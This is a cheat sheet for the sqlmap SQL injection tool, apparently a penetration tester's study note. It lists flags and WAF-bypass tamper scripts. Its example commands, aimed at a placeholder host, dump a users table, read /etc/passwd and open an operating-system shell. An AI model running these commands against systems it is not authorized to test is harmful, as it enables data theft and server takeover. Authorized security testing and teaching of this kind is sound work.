SQLMap 💉

Open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.

Installation

```
sudo apt-get install -y sqlmap
```

Commands

```
-p <parameter> | identifies the parameter to be tested
-cookie=<"cookie value"> | insert necessary cookies
--random-agent | use random agent
--proxy=<"http://host:port"> | use proxy
--forms | automatic form detection
--threads | number of concurrent requests
--dbs | enumerate the database
-D <database name> --tables | extract tables from database inserted
-D <database name> -T <table name> --columns | extract columns from table
-D <database name> -T <table name> --dump | dump data from table
--current-db | check current db
--current-user | check current user
--privileges | check user privileges on db
--passwords | extract database management system users password
```

```
hashes
--users | extract database management system user
--tamper=<tamper options> | bypass waf
```

Tamper list

```
apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords
```

Use examples

1. Using URL

```
sqlmap -u http://vulnerable.com/vuln.php?id=4 -p id | test parameter id
```

2. Using request file

```
sqlmap -r <file name> -p id | test parameter id on request file
```

3. Enumerate databases

```
sqlmap -u "http://vulnerable.com/vuln.php?id=4" --dbs
```

4. Current user, database and privileges

```
sqlmap -u "http://vulnerable.com/vuln.php?id=4" --current-user -
-current-db --privileges
```

5. Dump table

```
sqlmap -u "http://vulnerable.com/vuln.php?id=4" -D website -T
users --dump
```

6. Dump table using tamper scripts to bypass WAF

```
sqlmap -u "http://vulnerable.com/vuln.php?id=4" -D website -T
users --dump
tamper=apostrophemask,apostrophenullencode,base64encode,between,
chardoubleencode,charencode,charunicodeencode,equaltolike,greate
st,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percen
tage,randomcase,securesphere,space2comment,space2plus,space2rand
omblank,unionalltounion,unmagicquotes
```

Escalate

1. Real local files

When enumerate privileges you see: *privilege: FILE* ?

```
sqlmap.py -u "http://vulnerable.com/vuln.php?id=4" --file-
read=/etc/passwd
```

2. System shell

When enumerate, user has DBA rights ?

```
Linux: sqlmap -u http://vulnerable.com/vuln.php?id=4 --os-shell
Windows: sqlmap -u http://vulnerable.com/vuln.php?id=4 --os-cmd
```

Made by: **Bernardo Rodrigues**
Project: The Journey